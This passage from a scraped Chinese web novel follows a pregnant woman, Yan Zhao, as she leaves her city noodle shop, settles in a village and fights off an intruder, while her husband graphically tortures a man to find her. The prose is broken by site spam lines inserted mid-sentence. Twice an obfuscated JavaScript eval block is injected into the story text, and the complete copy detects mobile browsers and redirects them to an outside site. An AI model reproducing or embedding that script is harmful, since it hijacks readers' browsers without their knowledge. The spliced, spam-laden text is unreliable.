言昭猛地一抬手，“啪”地一声拍在桌子上，震得碗筷都跟着响。 “婆婆！当初你生病的时候，是谁给你跑前跑后？你这条命是我帮你从阎王爷手上抢回来的，你别太过分！” 王婆子的手僵在 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 半空，脸上的怒气一点点退下去。 眼神晃了晃，显然是想起了那天自己躺在地上起不来的样子。 屋子里安静下来，只剩下炉子里的火轻轻响。 过了好一会儿，王婆子才重重叹了口气，“你还可以继续住，不过那个铺子我要收回来，我侄子说他也要摆点东西卖。 言昭没有再争，点了点头：“行，我要睡觉了。 夜深了。 言昭躺在床上，她盯着看了好一会儿，才慢慢吐出一口气。 事情走到这一步，她自己也没想到。 她并不怪王婆子。一个老人守着这点房子和铺子，心里没底也是正常的。 只是把她跟王二柱往一块儿凑，让人一想起来就觉得反胃。 言昭脑子又开始不受控制地想起顾煜。 想起他在的时候，什么事都替她挡着，说话总是低低的，带着点笑。 想起他给她买东西时眼睛都不眨一下的样子。 想起他抱着她时掌心的温度。 言昭用力闭了闭眼。 明明是她自己躲出来的，这会儿只觉得心口空得厉害。 白天硬撑着的那股劲一下子散了，委屈像是慢慢从胸口往上涌。 眼眶一热。 她抬手去擦，没擦干净，眼泪还是顺着眼角滑下来，落在枕头上垫着的毛巾上。 屋子外头偶尔有风吹过门板，发出轻微的响动。 …… 天还没亮，言昭已经把铺子的门打开了。 她动作很快，锅碗瓢盆一件件搬出来，桌子板凳擦干净，全都低价卖给了隔壁那家早点铺。 对方本来还想压价，看她这么低价卖给自己，反倒愣了一下，最后多给了两块钱。 灶台上的油渍被她一点点擦掉，墙角堆着的面袋也清空了。 这个铺子她当初接手时是什么样子，现在又被她恢复成什么样子，干干净净。 就连门口挂着的牌匾，她找人帮忙摘了下来，随手送给收废柴的人。 等一切收拾完，铺子里空空荡荡，只剩下原本那点旧痕迹。 她把门锁好，拿着钥匙回了院子。 王婆子正在院子里找水壶，看见她回来还愣了一下：“今天怎么没有面？难道你还没开火？ 言昭把钥匙放在桌子上，冲她笑了一下：“铺子不是给你侄子了吗？面也就没有了。你等会儿自己出去吃一口吧。 王婆子这才注意到她手里提着包袱。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 “钥匙在这儿。” 言昭说完，转身去把昨晚就收拾好的行李提出来。 王婆子这才反应过来，脸色一下子变了：“我让你搬，又不是让你现在搬！你这么着急干什么！” 言昭站在门口，摆了摆手：“婆婆，我们现在算两清了，你也好好照顾自己吧。” 其他多余的她也没多说，就提着包袱往外走，没有再回头。 院子里一时间安静得很，只剩下王婆子站在原地，看着那把钥匙发愣。 …… 言昭提着包袱走出院门的时候，天色才刚亮透，巷子口卖豆浆的摊子刚支起来，热气一阵一阵往外冒。 她没走几步，隔壁早点铺的婶子就先看见了她，手里还端着刚出锅的蒸笼，愣了一下：“你这……要出门？” 视线往她身后一看，那铺子门紧紧锁着，里头空空荡荡。 “不开店了？” 这一声不小，旁边买早饭的人都跟着回头。 院子里住着的几个人也陆陆续续出来了，看见那扇关着的门，全都愣住。 言昭笑着说：“婆婆说王二柱要开店，我就把店铺关了，现在也要走，这段时间真的是谢谢婶子们的照顾。” 一个婶子急急忙忙追出来：“你这丫头怎么说走就走！王婆子说气话你也当真！” “对啊，换什么地方啊，你上哪去？” “就是！你这一走，我们早饭吃啥？” 几个人嘴上埋怨，眼圈甚至有点红。 昨天还一起骂王二柱，这会儿看着她提着包袱站在巷子口，心里都不是滋味。 这边还在说话，那头王二柱已经得意洋洋地过来了，肩上搭着块破毛巾，一副吊儿郎当的样子。 “钥匙呢？我姑说——” 话说到一半，他往铺子里一看，整个人愣住。 门开了，里头空得能听见回声。 灶台光秃秃的，墙角干干净净，连块抹布都没留下，门口原本挂着的牌匾也不见了。 “我东西呢？！” 他声音一下子拔高。 言昭语气淡淡道：“婆婆给我的就是个空的店铺，哪来的东西？你难道还想把我买的东西算作是你的东西？” 周围的人也露出嫌弃的表情。 一个挑着菜篮子的婶子当场嗤笑出声：“你姑给你的本来就是个空铺子，这墙还是人家言昭一桶一桶灰刷出来的呢，你好大的脸啊！” 另一个接话更快：“可不是！当初那屋子破成什么 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 样，灶台都塌了一半，是谁花钱垒起来的？桌子板凳也是人家自己买的吧？你现在跑来张口就要？ “这叫啥？这叫白捡现成的还嫌不够！ 人群里一阵哄笑。 王二柱的脸瞬间涨成猪肝色，嘴张了张，却一句话都说不出来。 他本来就是仗着是王婆子的侄子，觉得铺子到手就能接着挣钱，哪想到连个碗都没剩。 …… 言昭离开巷子后，她在路口站了一会儿，手里拎着那点行李，心里空落落的，一时也不知道该往哪去。 邻居们还在旁边七嘴八舌地帮她出主意，她只笑着应了几句，说先去找个地方落脚。 最后言昭去了街口那家招待所。 房间不大，一张床、一张桌子、一把椅子，墙上贴着有点发黄的年画，窗子推开能看见对面灰扑扑的楼墙。 她把包袱放下，坐在床沿上，整个人像是一下子松了劲。 屋子里很安静。 没有灶台的热气，也没有院子里早晨的吵闹声。 她低头把钱从包袱里拿出来，一张一张地数。 两个月攒下来的，不是很多。 言昭盯着那些钱看了很久。 城里是能挣钱，可地方太挤，人心也挤。 她现在怀着孩子，感觉还是不适合待在城里，还是要去乡下。 乡下虽然苦点，可至少关上门就是自己的日子。 只不过乡下有点排外，自己想要找个安静的生下孩子还是有点难。 而言昭在住进招待所的第一晚还觉得新鲜，门一关，整间屋子都是自己的。 可到了第二天，那点新鲜劲就没了。 房间小得很，走两步就到头，窗子外头是对面墙，连点热闹声都传不进来。 她白天没事可做，只能坐在床上发呆，然后开始思念顾煜，想要回去。 以前挤在那间小屋子里，虽然地方小，可每天要和面、烧水、招呼客人，忙起来连坐下喝口水的时间都没有，日子是被推着往前走的。 现在铺子没了，人也闲下来，时间像是被拉得特别长。 她躺一会儿就坐起来，坐一会儿又走到窗边，再走回来，整个人都憋得慌。 到了第三天，中午的时候，言昭就把包袱重新收好，把被子叠整齐，去前台结了账。 …… 火车站里人声鼎沸。 言昭被人流推着往前走了几步，又退到墙边，拖着行李站住。 售票窗口前 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 排着长队广播一遍遍地响她却一时不知道该买哪一张票。 原本是打算回老家的。 可念头刚起脑子里就浮出顾煜的脸。 她低下头从包袱里摸出早上买的两个包子又拧开水壶慢慢地就着温水往下咽。 包子有点凉了面皮发硬她还是一口一口吃完。 这要不是自己怀着孩子 哪知道言昭刚吃到一半旁边忽然传来一阵很轻的“咕噜”声。 像是肚子饿极了又忍着的那种响动。 言昭下意识地看过去。 墙角蹲着一个姑娘瘦得厉害肩膀窄窄的衣服洗得发白怀里紧紧抱着一个旧布包像是怕被人抢走。 她低着头脚上是一双已经磨毛了的布鞋整个人缩成一团。 言昭的目光刚落过去那姑娘像是察觉到了猛地抬了一下眼又立刻侧过头去耳根都红了。 那一瞬间她的喉咙动了一下明显是咽了口口水。 言昭顺手把手里的另一个包子递了过去。 这不是她好心只是那姑娘缩在墙角的样子让她想起了很久以前的自己。 那姑娘愣住了连连摇头小声说了句“不要”。 可话还没说完肚子又响了一声。 她脸一下子涨红手指抓着布包边缘指节都泛白了。 言昭没再说第二句只把包子往她手里一塞。 那姑娘像是怕她反悔低着头接过去几乎是下一秒就咬了一大口。 吃得太急面皮都黏在嘴角她也顾不上擦三两下就吞了下去噎得直捶胸口。 言昭轻轻叹了口气。 她没有再看这个姑娘。 火车站里广播又响了新一趟列车开始检票人群哗地往前涌。 言昭吃完往售票口那边走时身后忽然“砰”的一声闷响。 她下意识回头就看见刚才那个瘦弱的姑娘整个人栽在地上布包滚到一边人一动不动。 周围立刻有人惊呼出声。 言昭本能地往后缩。 王婆子那件事还压在她心口她现在最不想沾的就是这种说不清道不明的麻烦。 言昭刚转过头准备走人群里就有人指着她喊：“大妹子你妹妹都晕倒了你还不赶紧扶起来！” 这一嗓子把旁边路过的火车站工作人员都引了过来。 言昭被喊得一愣立刻开口：“我不认识她。” 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 那人一脸不信上下打量她：“不认识你刚才还给她大肉包吃？” 又有人接话：“就是我都看见了你塞给她的。” 那可是大肉包啊他们闻到香味的时候都在吞咽口水。 而且现在的肉多贵啊怎么可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚云听见这话，反倒露出一脸心疼的表情，小心翼翼地看着她的肚子：“原来你男人不在身边，你一个人怀着孩子多不容易啊……” 言昭：“……” 她本来只是随口编的借口，这会儿被更可怜的人用这种同情的眼神看着，反倒有点不自在。 楚云却越想越觉得她可怜，眼神都软了下来：“你放心，我力气大，路上我可以帮你提东西，你别累着。” 她说这话的时候，脸上还带着点认真，明显是真的在替她打算。 言昭看着她那副样子，一时间不知道该说什么，只能“嗯”了一声。 …… 火车开出去一个多小时后，车厢里晃晃悠悠。 正在靠在窗边闭目养神的言昭不知道，她开过的那个店铺有人找了过来。 原本热气腾腾的面摊前冷冷清清。 王二柱守着灶台，一边搅着锅里的面，一边骂骂咧咧：“见鬼了！明明就是照着她那方子做的！” 那老婆子说过她特意趴在墙头偷看，把用料和步骤都记了个七七八八，连水多水少都学得差不多。 可煮出来的面不是寡淡就是发苦，搞得这些人根本不来吃。 他越想越气，狠狠把勺子往锅边一磕。 “早知道就不让那个贱人走！” 这时，一道人影停在摊子前。 声音压得很低：“你好，请问一下，这个人，是不是住在这里？” 一张素描画像被递到他面前。 王二柱低头一看，画像上的眉眼清清楚楚，就是言昭。 他脸色顿时更难看，没好气地啐了一口：“这个贱人！你找她干嘛？” 说着他抬起头。 然后整个人愣住。 站在他面前的男人身形修长，衣领扣得严严实实，唇角还带着一点若有若无的弧度。 那笑意没有温度，反而透着股森冷的邪气，眼尾微微下压，像是在打量一件死物。 王二柱莫名打了个寒颤。 那人又问了一遍，语气还是轻的：“你认识是吗？” 声音不高，但是让人背后发凉。 王二柱下意识往后退了一步，喉咙发紧：“我、我哪知道……” 那双眼睛落在他脸上，笑意更深了一点。 空气像是一下子沉了下来。 不过十分钟，原本敞着的铺子门就被人从里面关上了。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 外头路过的人瞥了一眼，都撇了撇嘴。 “又关门了？” “准是王二柱又跑去赌钱了。” “这摊子早晚得黄。” 没人多想，巷子里照旧人来人往。 而铺子里安静得吓人。 灶台的火已经重新点燃，锅里的水重新泛出热气。 地上拖出一条长长的血痕，一直延伸到墙角。 王二柱瘫在那里。 双手双脚以一种扭曲的角度垂着，骨头被生生折断，脚筋也被挑开，整个人像被抽掉了所有力气，连挣扎的资格都没有。 血从他身下漫开，浸透了那件本就油腻的衣服，脸上糊满血污，肿得看不出原来的样子。 他喉咙里发出破碎的喘气声，可连喊都喊不出来。 那种钻心的痛早就让他意识模糊，可他不敢昏过去。 因为那个人还站在他面前。 那双眼睛低垂着看他，像是在看一条被碾断的虫子。 王二柱眼里的横劲早就碎得干干净净，只剩下纯粹的恐惧，瞳孔缩得极小，身体却动不了分毫，只能拼命往后蹭，拖出更多的血。 男人慢条斯理地用手帕擦了擦指尖，语气轻得几乎听不见：“你为什么要骂她？还有，她去哪了？” 王二柱嘴唇哆嗦着，血沫从嘴角往外涌，声音断断续续：“我……我不……啊——！” 话还没说完。 一瓢刚从灶上提下来的滚水迎头泼下。 “滋——”的一声闷响。 皮肉瞬间被烫得翻卷起来，白气混着血腥味在狭小的铺子里弥漫开来。 王二柱整个人猛地弓起，又因为四肢尽断重重砸回地上，喉咙里挤出撕裂般的惨叫，又很快被掐断成破碎的气音。 第72章 顾煜狠戾的手段 男人走到窗边。 头上的连体帽轻轻滑落，露出了他那张极致精致的面容。 外面的阳光斜斜地照进屋子，落在他脸上一半，另一半仍被深深的阴影笼罩。 那张脸有着不符合常理的妖冶。 光线将他的面容一分为二，一边被温暖的光辉照亮，另一边则深陷阴影中，似乎隐藏着某种难以言说的冷意。 他的脸上没有任何表情，眼底有着寒光在微微闪动。 过了一会儿。 顾煜转身，注视着地上痛苦的王二柱。 他蹲下身，语气低沉：“你把知道关于我家昭昭的所有事情说出来，不能遗漏任何事情。 王二柱几乎昏厥过去，喉咙里发不出声音，眼中全是恐惧。 他是真的没想到。 那女人在这儿待了三个月，挺着肚子，每天起早贪黑做面，从来没人来找过她。 院子里的人嘴上不说，背地里都当她是没男人管的。 长得又好看。 他们见过的女人里，就没有比她更顺眼的。哪怕怀着孩子是个破鞋，他们也想上一上。 所以他才敢堵在院子里说那些话。 所以他才敢动那些心思。 可现在—— 人家男人真的找过来了，还这么凶狠。 顾煜蹲在他面前，脸上没有一点表情。 王二柱浑身发抖，血和汗混在一起往下淌，喉咙里挤出破碎的气音：“我姑姑收留了她，她在这儿三个月…… 顾煜的目光没有动。 王二柱像是被那双眼睛压得喘不过气，拼命往后缩，声音嘶哑：“她……她把铺子退了……住在了招待所……我只知道这些……我真的只知道这些…… 他断断续续把这些日子的事情说出来，说到最后，已经一把鼻涕一把泪。 顾煜的手指慢慢收紧，又一点点松开。 铺子里安静得只剩下王二柱粗重的喘息声。 顾煜正低着头想着事，门外忽然传来敲门声。 “二柱啊——店怎么又关门了？你…… 是王婆子的声音。 话还没说完，门闩被从里面拉开。 门只开了一条缝。 下一瞬，一只手猛地伸出去，直接把人拽了进来。 王婆子连惊呼都没来得及喊完整，整个人踉跄着被拖进铺子，门在身后“砰地一声关上。 屋里的血腥味瞬间扑上来。 她抬头，看见地 你的朋友正在书荒，快去帮帮他吧 上的王二柱，脸上的血色一下子褪得干干净净，拐杖“当啷”一声掉在地上。 “二、二柱……” 声音抖得不成样子。 顾煜站在一旁，神情平静得像是什么都没发生过。 他看着她：“你来得正好，把你知道的关于昭昭的事情，说一遍。” 王婆子看了一眼地上已经不成人形的侄子，又看向面前这个男人，整个人都在发抖，腿一软跟着跪了下去。 ……- 言昭在火车上待了一天一夜。 第二天一早，两人随着人流下了车。 小站不大，站台边全是扛着麻袋的人，空气里带着土腥味。 言昭认得字，拿着那张被楚云反复抚平的纸条，一路问一路走，先是在县城里转了一圈，又挤上去往公社的牛车。 牛车晃得厉害，土路坑坑洼洼，车轱辘一滚就是一阵颠。 楚云一只手护着包袱，一只手紧紧抓着车沿，生怕言昭被晃到。 等到车停下来，已经是晌午。 “土坤生产队”几个歪歪扭扭的大字刷在土墙上。 两人就开始问人，大家知道她们是过来认亲戚，都很热心。 这群人看起来也很淳朴。 这时一个系着围裙的妇女从远处跑过来，脚上还沾着泥，显然是刚从地里回来。 妇人跑得气喘吁吁，到了跟前突然停住，眼睛在两人脸上来回看，唇瓣直发颤。 “你们……谁是我侄女？” 楚云早就忍不住了，眼泪一下子掉下来，往前扑了一步：“姑姑——” 那妇女整个人一晃，像是被这一声喊定在原地，下一瞬伸手把楚云紧紧抱住，拍着她的背直哆嗦：“真是你……真是你……” 言昭站在一旁，看着两个人抱在一起哭。 阳光落在土院子里，鸡在墙角刨食，远处还有人喊的声音。 …… 言昭现在对人多了几分防备，哪怕眼前这一幕看着再真切，她也只是安静地看着。 楚云被抱着哭了好一会儿，才被楚婶拉着进屋。 土坯房不大，院子收拾得很干净，墙角堆着柴火，屋檐下挂着晒干的玉米。 楚婶一边抹眼泪一边忙着倒热水，又把锅里温着的红薯端出来。 “快坐快坐，一路上肯定没吃好。” 她说话急急的，眼睛也不停往楚云脸上看，是怎么都看不够。 言昭坐下的时候，目光在屋里扫了一圈。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 屋子旧是旧了点，可东西摆得整整齐齐，没有那种乱糟糟的样子。 楚云断断续续地把这些年的事说出来。 楚婶听着听着又红了眼。 言昭也跟着知道楚婶男人前年没了，留下她和一个儿子。 因为孩子小，楚婶一直没改嫁，就这么守着日子过。 后来才听说自己弟弟当年还有个孩子活着，本来是想亲自去找的，可生产队的活离不开人，家里又只有她一个大人，实在走不开。 “我心里一直惦记着……”楚婶说到这儿，声音都哑了，“就怕你在外头吃苦。” 楚云哭得直点头。 这边楚婶把红薯往言昭面前又推了推，这才坐下来细问她的情况。 言昭没有多说，只挑能说的讲—— 男人在很远的地方干活，她在城里被人排挤出来，肚子大了，本来是打算回老家生孩子的，在火车站碰见楚云晕倒，就一路陪着过来了。 楚婶听得直叹气。 “一个人挺着肚子跑这么远……”她看着言昭的肚子，眼圈都红了，“你这日子过得也苦。” 楚云在旁边连连点头：“她一路上都照顾我，还把肉包子分给我吃。” 楚婶听了这话，更是心疼得不行，立刻把凳子往言昭身边挪：“你别走了，住我这儿！ 反正你回老家也是生，在我这儿也是生，我家里虽然不宽敞，可有口热饭，有人照应，你安安心心把孩子生下来。” 楚婶一边说一边起身去翻柜子。 这个泥屋有两间，隔壁小房间睡着楚婶的儿子。 这里算是北方，人们睡在炕上，所幸这张炕也大，三个人睡足足有余。 只不过言昭这张脸，走到哪儿都很难不被人注意。 她被顾煜养得好，皮肤白净，气色润，眉眼干净又安静，说话轻声细气，还识字。 往土坤生产队的院子里一站，整个人都显得和周围的人不太一样。 别的女人怀着孩子，多半是脸色发黄、身形臃肿。 而言昭只是肚子大了些，四肢依旧纤细，走路慢慢的，反倒多了几分温软。 去井边打水的时候，路过的男人都会下意识多看一眼。 有的是好奇，有的是惊艳。 这个生产队的人嘴碎归嘴碎，心倒不坏。 尤其是楚婶把她在城里受的那些委屈一说开，又听说她男人在外头干苦力，她一个人被挤出来挺着肚子跑这么远，队里的妇女们立刻就站到她这边。 你的朋友正在书荒，快去帮帮他吧 “一个女人能撑成这样不容易。” “读过书的就是不一样说话都斯文。” 那些原本带着打量的目光也慢慢变成了客气和照应。 在队里的男人看她时都会被自家婆娘拧一把：“看什么看人家有男人的。” 言昭坐在门口晒太阳心里的那点紧绷一点点松下来。 …… 半年一晃就过去了。 说快的时候像是眨眼的事。 说慢的时候每一天又都很长。 到了乡下言昭花销一下子少了下来。 言昭贴补一点粮票和钱加上厨艺好 只是她肚子一天比一天大。 因为怀的是两个身子比寻常孕妇要沉得多。 言昭走两步就喘腰酸得直不起来。 前几个月还好能帮着洗菜、烧火后来腿脚开始浮肿鞋子都挤得穿不进去晚上睡到一半脚抽筋疼得整个人蜷在炕上直冒冷汗。 楚婶半夜听见动静总是披着衣服起来给她揉腿嘴里心疼地念叨。 这种时候言昭就特别想顾煜。 越是夜深越是想得厉害。 可日子还是要过。 言昭在生产队慢慢熟了起来。 谁家孩子要取名字谁家收到信看不懂字都会拎着点东西来找她帮忙。 她说话轻声细气又识字做事还利落时间一长大家对她都多了几分客气和照应她也一点点融进了这个地方。 只是再淳朴的地方也免不了有让人反感的人。 有个男知青叫李安早些年在这做老师因为耍流氓差点被批后面因为跟队长的女儿奉子成婚成了生产队的人大家才没说什么。 后来他脑子不灵光大学考不上平日里也不正经干活所以成天游手好闲。 自从言昭来了这个李安就不安分了三天两头找借口往楚婶家门口晃。 那种黏腻的目光让言昭很不舒服。 当然言昭也不是好惹的。 也是有次隔壁队的人来抢水渠觉得楚婶一个寡妇好欺负推推搡搡地就要把她往旁边挤。 楚婶被推得踉跄了一下整个人摔进泥沟里脑袋都出血了。 言昭当时肚子已经很大了她还是一句话都没说抄起院墙边的粪叉就过去了。 差点把那个人插死。 大家才发现这个看起来柔 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 柔弱弱的言昭，没想到性子也这么强硬。 李安对她也不敢太放肆了。 现在言昭的肚子渐渐大了，她平日里基本不怎么出门，最多只在院子里晒晒太阳，缝点小衣裳。 这样一来，也就见不到那个让人反胃的李安。 而这天一早，楚婶收拾了点东西，带着儿子回婆家去了。 她男人虽说没了，可那边的老人还在，这两年也时不时接济她们母子，她总要带孩子过去走动一下。 楚云本来是不用去的。 可这些日子楚婶想着楚云年纪也不小了，正好婆家那边有人给说媒，就把她一块儿拉走了。 院子一下子安静下来。 言昭一个人在家。 其实也没什么不习惯的。 从冬天到现在，天气一点点暖起来，中间还过了个年，现在很热了。 炕上铺着薄褥子，窗户开着一条缝，风吹进来带着点热意。 她侧躺着，肚子高高隆起，小衣裳叠在枕边，手搭在肚子上慢慢揉着。 屋子里静得只剩下她一个人的呼吸声。 可这时院子外忽然传来脚步声。 言昭先是没在意。 平日里总有几个孩子往这边跑，楚婶的儿子拿着她做的小吃出去显摆，没一会儿就会带着一群人回来，趴在门口喊“昭昭姐。 她还以为又是那些孩子。 但是等到那脚步声越来越近。 一下一下踩在地上，带着拖沓的力道，完全不是小孩子那种轻快的跑动声。 言昭的眉头一下子皱了起来。 她撑着炕慢慢坐起身，侧耳去听。 院门口的影子晃了一下，停住了。 没有人喊她。 只是在门口站着。 那种站着不动的感觉，让人心里发紧。 言昭的呼吸不自觉地慢了下来，她扶着墙起身，肚子沉得厉害，每走一步都要用力。 她走到门边，伸手把门闩扣上，又把旁边顶门的木棍拖过来，抵在门后。 屋子里瞬间安静得只剩下她自己的心跳声。 门外的人像是察觉到了动静，脚步往前挪了一下。 木门被轻轻推了一下。 没推开。 外面的人停了一瞬。 言昭扶着窗框往外看了一眼。 院子里站着的，果然是李安。 她心里猛地一沉，胃里一阵翻涌，差点当场吐出来。 天才刚黑，他 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 竟然就敢上门。 她还挺着这么大的肚子，这人竟然还存着坏心思。 言昭死死咬住牙，手压在肚子上，现在孩子在里面动得厉害，她的呼吸也跟着乱起来—— 她现在不是一个人，是三条命。 言昭强迫自己冷静下来。 喊也没用，每个房子地基都很大，跟邻居都相隔很远。 她现在只能希望门栓顶得住，这样他就进不来。 正当言昭这么想着，跟着听见刺耳的“吱啦声。 李安竟然还弄来一把锯子，现在从门缝伸进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338041|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着门栓锯！ 木头被一点点锯开的声音，让人头皮发麻。 言昭的心跳快得发疼，脑子反而清醒得吓人。 她没有再往门口看，而是转身拖过屋里的椅子，双手握住椅背。 肚子沉得厉害，她站得不稳，就把后背抵在墙上，借着那点力撑着自己。 这时门栓“咔的一声断开。 门被推开一道缝。 李安的头探进来—— “砰！ 言昭手上的椅子结结实实砸在他头上。 声音闷得吓人。 李安连哼都没哼一声，整个人趴在地上 椅子从言昭手里滑下来，她也跟着坐在地上，开始大口的喘气。 还没等言昭缓过气去喊人，院门外就传来熟悉的说话声。 “门怎么没关？小昭这是睡着了？ 是楚婶。 她推门进来，话还没说完，人就愣住了。 院子里趴着一个人，头上全是血，旁边还丢着一把锯子，言昭靠着桌腿坐在地上，脸色白得吓人。 “哎呀我的天！楚婶一声就喊出来了。 楚云冲得最快，几步跑到言昭跟前，把人扶起来，手都在抖：“言姐！怎么了？你没事吧？ 言昭喘着气，三两句把事情说清楚。 楚云的脸一下子全白了，她回头看了一眼地上不动的李安，声音发颤：“你肚子呢？肚子有没有难受？ 言昭摇了摇头，被扶着坐到炕上，手还压在肚子上，呼吸慢慢稳下来。 楚婶已经冲出去喊人了。 没一会儿院子里就挤满了人。 大家一看地上的李安，又看见那把锯子和被锯断的门栓，哪还有不明白的，骂声一下子就起来了。 “畜生东西！ “队长家怎么找了这种货色！ 骂得一句比一句难听。 你的朋友正在书荒，快去帮帮他吧 可人群里还是有人阴阳怪气地出声：“她都怀着孕了，李安还能有什么坏心思？说不定是她肚子疼，人家好心来帮忙呢？ 说话的正是大队长家的那个婶子。 院子里顿时安静了一瞬。 言昭慢慢从炕上站起来，扶着腰，一步一步走到门口，脸色还是白的，眼神却冷得很。 “我叫你一声婶子，是我有礼貌。她声音不高，却清清楚楚，“李安什么德行，队里谁不知道？ 她指了指地上的锯子，又指向被锯断的门栓。 “你觉得我现在有难受的样子吗？还有帮忙，要把门栓锯开？我不会打开吗？而且李安就是我打的，他要闯进来我直接用椅子砸的！ 大队长也被人从地头喊了回来。 他一进院子，看到满地的人和趴在地上的李安，脸色当场就沉了下来。 院子里的人七嘴八舌把事情说了一遍。 大队长听着听着，脸越来越黑。 他闺女站在一旁，脸色发白，想开口又不敢。 大队长媳妇悄悄去拽他的袖子，小声说：“你想想咱闺女，也怀着呢…… 话还没说完，就被大队长一把甩开。 “现在是说这个的时候？ 他的声音很大，压得院子里一静。 人赃俱在，这么多人看着，他就是想护也护不住。 他看了一眼炕边的言昭，又看了一眼被锯开的门，咬着牙开口：“这种事，生产队容不下。 这话一出来，院子里立刻有人应声。 “对！送公社！ “必须批斗！ “早就该收拾他了！ 大队长媳妇脸都白了，眼圈一下子红了，想再说什么，可被周围的妇人盯得不敢出声。 这也是因为在言昭来之前，就有其他家的闺女差点被李安糟蹋。 但是因为这种事情本来就不是一件光彩的事情，为了自家名声，也为了女儿的清白，家家都不敢说。 现在李安遇到了硬茬，这几家人当然是不肯放过。 还有就是，这李安真是畜生啊，人家怀着孩子都快生了，竟然还敢出这种脏心思。 在场的男人都瞧不起。 大队长深吸了一口气，声音沉下来：“先把人绑了，明天开大会，当着全队人的面处理，该送公社就送公社。 这话等于定了性。 李安就算没醒，也应该没有翻身的余地。 …… 这一 听说看这本书的人都是很幸运的，分享后你的运气会更棒 晚言昭几乎没怎么合眼。 肚子沉得厉害，翻个身都要用手托着，孩子在里面时不时动一下，她就跟着惊醒一次。 这个月就要生了。 她真的不敢出事，只能强行平复下自己的心情，还是时不时哄着肚子里的孩子。 天刚蒙蒙亮，楚婶为了安抚言昭，就去灶房杀了一只鸡，锅里很快冒起热气，鸡汤的香味一点点飘进屋里。 楚云也没闲着，一会儿添柴，一会儿端水，来来回回地看言昭的脸色。 “言姐，你现在还难受吗？”她小声说。 言昭摇头，其实眼底还带着一层没散的青。 楚婶的儿子才十岁出头，平时难得吃一次肉，这会儿蹲在灶台边眼睛都亮了，端着碗跑进来，冲着言昭笑：“谢谢言昭姐姐，今天才有鸡肉吃。” 这句话直接把屋里的气氛一下子暖了起来。 楚婶也跟着笑骂：“就你嘴甜。” 一家人围着灶台说话，屋子里热乎乎的，像是什么不好的事都被挡在外面。 鸡汤刚盛出来，院门外就传来脚步声。 不是一个人。 还有人喊：“楚婶在家吗？队长让去晒谷场开会。” 屋子里的笑声一下子停住了。 楚婶和楚云对视一眼，脸色同时紧了起来。 言昭本来是不用去的。 楚婶和楚云都劝她在家歇着，可她看着来喊人的那几个人，眼神躲闪，说话含糊，心里反而不踏实。 “我也去。” 她披了件外衣，扶着肚子慢慢往外走。 楚云不放心，赶紧一左一右扶着她。 等三个人到了晒谷场，那里已经围满了人。 男人女人站成一圈一圈的，小孩被大人拽在身后，议论声压得很低。 李安被捆在中间的木桩上，头上缠着布，脸肿得认不出来，整个人蔫着。 他已经醒了。 看见言昭过来的时候，眼神明显闪了一下。 旁边还站着两个人。 穿着干净的中山装，胸口别着红章，神情严肃。 一看就知道是公社来的。 第73章 顾煜跪地崩溃自虐 言昭看见公社的人亲自站在场上而李安只是被捆着没有被带走她蹙眉起来。 这两个人看到言昭大着肚子的样子她便慢慢走到前面手下意识护在肚子上 那两个人互相看了一眼其中一个皱着眉开口：“你都怀着孕这种事……怎么可能呢？” 话里的怀疑没有说透却已经摆在脸上。 言昭的脸色一下子冷了下来。 她的目光扫过去正好撞上李安。 他原本低着头这会儿却抬起了脸眼底带着一点藏不住的得意。 言昭忽然笑了一下。 “这件事难道不该是他太畜生了吗？”她声音不大却清清楚楚“连一个怀着孕的女人都不放过。” 人群里顿时一阵骚动。 李安猛地挣了一下绳子站直了身子急急地喊：“我才没有非礼你！我听见你在屋里难受以为你要生了我是去帮忙的！” 大队长媳妇立刻接话：“就是！人家好心去帮忙你一个女人在屋里——” “帮忙？” 楚婶气得往前一步被楚云死死拉住。 言昭没动。 她看着李安眼神一点点沉下去。 “帮忙要把门栓锯开？”她抬手指向晒谷场边上放着的那截断掉的门栓和那把锯子。 “我在屋里好好的门关着他不喊人不叫邻居直接锯门。这是帮忙？” 晒谷场上窃窃私语的声音越来越大。 有人忍不住喊了一句：“就是你们怎么能睁着眼说瞎话！” 公社来的那两个人脸色立刻沉了下来其中一个男人上前一步声音发硬：“我们公家办事讲的是实事求是你们都亲眼看见了？” 这一句话把刚刚要冒头的议论一下子压了下去。 楚婶往前站了一步：“我看见了！” 楚云也红着眼睛跟着喊：“他就是个畜生！这种人你们还问什么不应该直接抓走吗！” 那两个人的神情明显冷了下来。 “自家人说话不能算数。” 这话一出场面顿时僵住。 楚婶回头看向围着的人群眼神带着求助。 可刚才还骂得最凶的那些人这会儿全都低下了头。 谁都看得出来这李安背后有人。 公社的人站在他那边谁还敢出声。 晒谷场一下子安静得诡异。 言昭站在中间 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 气得手指都在发抖，肚子跟着一阵一阵发紧。 她忽然笑了，“我说你怎么喜欢糟蹋人，原来是有后台啊。 那两个人脸色一沉：“你注意你的态度。 言昭一步不退：“公社不管，我就告到县里，县里不管，我就告到省里，我看你这个后台有多大！ 